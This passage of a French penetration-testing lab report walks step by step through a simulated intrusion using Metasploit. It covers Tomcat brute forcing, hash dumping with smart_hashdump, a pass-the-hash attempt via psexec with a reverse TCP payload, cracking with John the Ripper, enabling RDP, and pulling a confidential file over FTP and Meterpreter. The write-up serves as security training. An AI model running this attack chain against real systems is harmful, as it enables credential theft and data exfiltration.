msf6 auxiliary (scanner/http/tomcat_mgr_login) > set THREADS 50
msf6 auxiliary (scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary (scanner/http/tomcat_mgr_login) > set VERBOSE false
msf6 auxiliary (scanner/http/tomcat_mgr_login) > set STOP_ON_SUCCESS false

AprĂšs avoir configurĂ© le module, celui-ci est lancĂ© Ă  l’aide de la commande run:

bash
msf6 auxiliary (scanner/http/tomcat_mgr_login) > run
Figure 75 – Interruption prĂ©maturĂ©e de l’attaque brute force sur Tomcat

L’interruption brutale de l’attaque, avant mĂȘme son dĂ©marrage effectif, pousse le hacker Ă  vĂ©rifier l’accessibilitĂ© du port du service.

bash
proxychains nmap -sS -Pn -p 8180 192.168.100.3

Selon le site nmap.org, les options utilisées sont:

Figure 76 – Le port 8180 semble bloquĂ© par un pare-feu

La sortie affichĂ©e dans le terminal Kali ci-dessus, montre que le port 8180 a le statut filtered, ce qui indique qu’il est probablement filtrĂ© ou bloquĂ© par un pare-feu.

Les tentatives d’intrusion sur les serveurs FTP et Tomcat par brute force se sont soldĂ©es par des Ă©checs, soit parce que le temps nĂ©cessaire pour deviner la bonne combinaison identifiant/mot de passe Ă©tait trop long, soit parce que le port Ă©tait tout simplement bloquĂ© par un pare-feu.

âŹ…ïž Revenir au menu du rapport

🔓 Tentative d'intrusion par usurpation des mots de passe systùme

Le pirate adopte dĂ©sormais une autre stratĂ©gie : l’usurpation de l’ensemble des mots de passe systĂšme de la machine dĂ©jĂ  compromise, Ă  savoir le serveur Windows Server 2008 R2 Standard. Pour ce faire, il utilisera le module post-exploitation smart_hashdump.

bash
msf6 > sessions
msf6 > sessions -i 1
Figure 77 – RĂ©cupĂ©ration du numĂ©ro de session et connexion Ă  la session avec la commande sessions

1. đŸ’» Extraction des hachages des noms d’utilisateur et des mots de passe du systĂšme avec le module smart_hashdump.

Une fois connectĂ©, il charge l’extension priv afin d’activer les privilĂšges administrateur dans Meterpreter, ce qui lui permet d’extraire les hachages des noms d’utilisateur et mots de passe du systĂšme.

bash
meterpreter > use priv
Figure 78 – Chargement de l’extension priv

Selon les auteurs de l’ouvrage Metasploit: The Penetration Tester’s Guide, 2e Ă©dition, ces hachages correspondent Ă  la forme chiffrĂ©e de ces informations, conformĂ©ment aux protocoles LAN Manager (LM), NT LAN Manager (NTLM) et NT LAN Manager v2 (NTLMv2).

bash
meterpreter > run post/windows/gather/smart_hashdump
Figure 79 – Extraction des noms d’utilisateur et de leurs mots de passe hachĂ©s depuis le registre

2. 🎯 Recours Ă  la technique « pass the hash »

L’utilisation de cette technique est rendu possible du fait de l’existence d’une faille 17 dans la conception du protocole NTLM qui accepte les hachages du mot de passe de l’utilisateur peut se faire passer pour lui.

Le pirate va donc utiliser le module windows/smb/psexec pour réaliser cette attaque.

bash
meterpreter > background
msf6 > use exploit/windows/smb/psexec

Il le configure comme suit:

bash
msf6 exploit(psexec)> set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(psexec)> set SESSION 1
msf6 exploit(psexec)> set LPORT 443
msf6 exploit(psexec)> set RHOST 192.168.100.3
msf6 exploit(windows/smb/psexec) > set SMBUser Administrator
msf6 exploit(psexec)> set SMBPass aad3b435b51404eeaad3b435b51404ee:
e02bc503339d51f71d913c245d35b50b
msf6 exploit(psexec)> exploit
Figure 80 – Echec de l’exploit avec la technique « pass the hash »

La technique « pass the hash » n’ayant pas abouti, le pirate dĂ©cide alors de tenter de dĂ©coder les mots de passes hachĂ©s Ă  l’aide du logiciel de cassage de mots de passe, John the Ripper.

3. 🔓 DĂ©cryptage des hachages de mots de passes avec John the Ripper

John the Ripper est un logiciel libre conçu pour Ă©valuer la soliditĂ© des mots de passe en tentant de les casser. Il utilise principalement des attaques par dictionnaire. Selon WikipĂ©dia, ce programme reconnaĂźt automatiquement le type de hachage employĂ© (MD5, NTLM, SHA-2, etc) et en plus d’offrir un large choix d’algorithmes d’attaque permet de relancer une attaque qui a Ă©tĂ© interrompue.

Depuis Metasploit, le pirate saisit la commande creds qui permet de gérer les identifiants trouvés et utilisés pour les machines ciblées.

bash
msf6 > creds
Figure 81 – Sortie de la commande creds

En examinant la sortie de la commande creds, le pirate remarque que trois entrées correspondent à la machine cachée (192.168.100.3). Il va donc utiliser la commande grep pour filtrer et afficher uniquement les informations relatives à ces entrées.

bash
msf6 > grep 192.168.100.3 creds
Figure 82 – Filtrage de la commande creds à l’aide de la commande grep

La commande loot lui permet ensuite de localiser le fichier contenant les noms d’utilisateurs et leurs mot de passe hachĂ©s.

bash
msf6 > loot
Figure 83 – Localisation du fichier contenant les noms d’utilisateur et leurs mots de passes hachĂ©s avec la commande loot

Pour prĂ©parer l’attaque avec John the Ripper, le pirate copie ce fichier vers le dossier Documents avec la commande cp.

bash
msf6 > cp /root/.msf4/loot/20250812163411_default_10.10.10.2_windows.hashes_283651.txt
/home/vagrant/Documents
Figure 84 – Copie du fichier contenant les noms d’utilisateurs et leurs mot de passe hachĂ©s vers le dossier Documents

Pour lancer le cassage des mots de passes hachés contenus dans le fichier, le pirate saisit la commande suivante:

bash
$ john --format=NT ~/Documents/20250812163411_default_10.10.10.2_windows.hashes_283651.txt
Figure 81 – Cassage des mots de passe hachĂ©s Ă  l’aide de l’option –format

À l’aide de l’option -show, l’attaquant peut dĂ©sormais afficher les mots de passe en clair:

bash
$ john --show --format=NT 
~/Documents/20250812163411_default_10.10.10.2_windows.hashes_283651.txt
Figure 82 – Affichage des mots de passes hachĂ©s en clair Ă  l’aide de l’option –show

Le pirate constate que l’utilisateur vagrant est prĂ©sent Ă  la fois sur la machine Windows 2008 (10.10.10.2) et sur la machine cachĂ©e (192.168.100.3). Ce compte sera donc utilisĂ© pour tenter une connexion au serveur FTP.

Pour cela, le pirate active à distance une session sur la machine Windows 2008 via le Meterpreter puis saisit manuellement les identifiants trouvés pour se connecter au serveur FTP.

âŹ…ïž Revenir au menu du rapport

đŸ’» Activation du contrĂŽle Ă  distance en mode graphique sur la machine compromise

Le pirate souhaite Ă©tablir une session graphique Ă  distance sur la machine compromise. Pour ce faire, il commence par identifier le numĂ©ro de session afin de s’y connecter.

1. AccĂšs au serveur FTP depuis la machine compromise

Les commandes suivantes sont exécutées:

bash
msf6 > sessions
msf6 > sessions -i 1
Figure 83 – RĂ©cupĂ©ration du numĂ©ro de session et connexion Ă  la session avec la commande sessions

Une fois connectĂ©, il charge le module enable_rdp, qui active le Bureau Ă  distance via le protocole RDP. Selon les auteurs de Metasploit: The Penetration Tester’s Guide, 2e Ă©dition, ce module permet de crĂ©er un tunnel pour la communication graphique et d’interagir avec le bureau de la cible.

bash
meterpreter > run post/windows/manage/enable_rdp
Figure 84 – Activation du Bureau à distance avec enable_rdp

Depuis le terminal Kali Linux, il utilise ensuite les identifiants du compte vagrant pour tenter une connexion graphique au Bureau distant de la machine Windows 2008 compromise avec l’outil rdesktop:

bash
$ sudo rdesktop 10.10.10.2 -u vagrant -p vagrant
Figure 85 – Connexion graphique au Bureau distant via rdesktop

Une fois connectĂ©, le pirate pourra tenter de s’introduire dans le serveur FTP avec les identifiants du compte vagrant.

Une fois connectĂ©, il charge le module enable_rdp, qui active le Bureau Ă  distance via le protocole RDP. Selon les auteurs de Metasploit: The Penetration Tester’s Guide, 2e Ă©dition, ce module permet de crĂ©er un tunnel pour la communication graphique et d’interagir avec le bureau de la cible.

2. AccĂšs au serveur FTP depuis la machine compromise

bash
C:\Users\vagrant>ftp 192.168.100.3
User <192.168.100.3:>: vagrant
Password: vagrant
Figure 86 – Connexion au serveur FTP à l’aide du compte texvagrant

TĂ©lĂ©chargement du fichier Ă  l’aide de la commande get prĂ©sent dans le dossier projections_Fi prĂ©sent dans le fichier /home/vagrant.

bash
ftp> pwd
ftp> ls
ftp> cd projections_Fi
ftp> ls
ftp> get Document_confidentiel.rtf
Figure 86 – Recherche du dossier contenant le document puis tĂ©lĂ©chargement de celui-ci

Depuis le Meterpreter, le pirate lance le shell pour pouvoir consulter le systĂšme de fichiers de la machine compromise.

bash
meterpreter > shell
c:\wamp\bin\mysql5.5.20\data>cd c:\Users\vagrant
Figure 87 – DĂ©marrage du Shell via le Meterpreter sur la machine compromise

Le pirate s’assure que le tĂ©lĂ©chargement est bien effectif en consultant Ă  l’aide de la commande ls, le dossier vagrant prĂ©sent rĂ©pertoire utilisateur.

bash
c:\Users\vagrant>ls
Figure 88 – Commande ls pour lister le systùme de fichiers de la machine compromise
Figure 89 – Commande ls pour lister le systùme de fichiers de la machine compromise

Depuis le Meterpreter, le pirate va tĂ©lĂ©charger le fichier depuis la machine compromise le document Ă  l’aide de la commande sownload.

bash
meterpreter > download "C:\Users\vagrant\Document_confidentiel.rtf" /home/vagrant
Figure 88 – TĂ©lĂ©chargement du fichier depuis la machine compromise via le Meterpreter

La commande ls -l, permet au pirate de s’assurer que le fichier est bien prĂ©sent sur sa machine.

bash
ls -l
Figure 89 – Commande ls pour lister le systùme de fichiers de la machine compromise

Afin de vĂ©rifier la lisibilitĂ© du document, le pirate utilise la commande cat pour en afficher le contenu directement dans le terminal. Rappelons que ce document aurait Ă©galement pu ĂȘtre consultĂ© avant son tĂ©lĂ©chargement depuis le serveur FTP, en utilisant la commande get -.

Figure 90
bash
$ cat Document_confidentiel.rtf
Figure 91 – Visualisation du document dans le terminal avec cat - partie 1
Figure 92 – Visualisation du document dans le terminal avec cat - partie 2

Ensuite, le pirate dĂ©place Ă  l’aide de la commande mv le document dans le dossier partagĂ© entre sa machine virtuelle Kali Linux et son ordinateur hĂŽte sous Windows 11.

bash
$ mv Document_confidentiel.rtf /media/sf_METASPLOIT6
Figure 93 – Le document est dĂ©placĂ© vers le dossier partagĂ©
Figure 94 – Le dossier METASPLOIT6 est partagĂ© entre la machine virtuelle Kali Linux et l’hĂŽte Windows 11

Le document au format .rtf a Ă©tĂ© correctement transfĂ©rĂ© sur la machine hĂŽte grĂące au dossier partagĂ© configurĂ© entre la machine virtuelle Kali Linux et l’hĂŽte Windows 11.

Figure 95

Une fois le fichier transfĂ©rĂ© sur la machine hĂŽte, le pirate l’ouvre avec son Ă©diteur de texte OpenOffice afin d’en prendre connaissance.

Figure 96 - Ouverture du document volé avec OpenOffice
âŹ…ïž Revenir au menu du rapport

📋 Synthùse

AprÚs avoir compromis la machine Windows, le hacker a obtenu des informations déterminantes grùce à un enregistreur de frappes. Dans l'échange capturé, un salarié de l'entreprise précisait dans un document texte la présence d'un document hautement confidentiel sur une machine Linux non reliée au réseau.

Un scanner du rĂ©seau interne a Ă©tĂ© rĂ©alisĂ© par le hacker Ă  l’aide de l’outil arp-scan, afin d’identifier les hĂŽtes actifs. L’objectif Ă©tait d’envoyer des requĂȘtes ARP et d’obtenir, pour chaque machine dĂ©tectĂ©e, son adresse IP et son adresse MAC. Ce scan a confirmĂ© l'existence d'une machine sur un rĂ©seau diffĂ©rent.

Pour accéder à cette machine, le hacker a procédé comme suit :

La premiĂšre attaque Brute Force entreprise par le hacker sur le serveur FTP de l’ordinateur Ă©tait bien trop lente. AprĂšs 48 heures d’exĂ©cution, le hacker opta pour une autre cible, un serveur Tomcat. Cependant, l’opĂ©ration fut interrompue avant son dĂ©marrage. Un scan Nmap rĂ©alisĂ© par le hacker rĂ©vĂ©la que le port 8180 avait le statut filtered, ce qui laisse supposer que l'accessibilitĂ© du port est bloquĂ©e par un pare-feu.

Le hacker tenta alors une nouvelle approche: l’extraction des hachages de mots de passe de la machine Windows Server 2008 R2 Standard (machine compromise), via le module smart_hashdump. L’objectif Ă©tait d’appliquer la technique pass the hash. Cette mĂ©thode exploite, selon les auteurs de l'ouvrage Metasploit: The Penetration Tester’s Guide, 2nd edition, une faiblesse du protocole NTLM, qui permet d’utiliser directement les hachages en lieu et place des mots de passe pour s’authentifier. Le module windows/smb/psexec fut utilisĂ© par le hacker pour mettre en Ɠuvre cette technique, mais l'entreprise se solda par un Ă©chec. Pour parvenir Ă  ses fins, il eut recours au cĂ©lĂšbre logiciel de cassage de mots de passe, John the Ripper.

Il commença par rĂ©cupĂ©rer les identifiants trouvĂ©s et associĂ©s aux machines ciblĂ©es, via la commande creds, avant de les soumettre au logiciel. La sortie produite par le programme permit au hacker d'identifier que trois entrĂ©es correspondaient Ă  la machine cachĂ©e (192.168.100.3). AprĂšs avoir cassĂ© les mots de passe, il constata que l’utilisateur vagrant Ă©tait prĂ©sent Ă  la fois sur Windows 2008 (10.10.10.2) et sur la machine cachĂ©e. Le hacker se servit de ce compte pour se connecter au bureau Ă  distance de Windows 2008 et ainsi accĂ©der au serveur FTP interne.

Depuis sa session Meterpreter, le pirate procéda comme suit :

🎯 Conclusion

Cette simulation met en Ă©vidence la complexitĂ© de la mise en place d’un laboratoire de pentesting et les difficultĂ©s rencontrĂ©es dans ce type d’opĂ©ration. Dans un contexte rĂ©el, un pirate n’exĂ©cuterait probablement pas ces actions manuellement: par souci de rapiditĂ© et pour rĂ©duire les risques de dĂ©tection, il privilĂ©gierait l’emploi de scripts automatisĂ©s, adaptĂ©s aux rĂ©sultats obtenus au fil des attaques.

âŹ…ïž Revenir au menu du rapport
⭐ Mes autres projets sur GitHub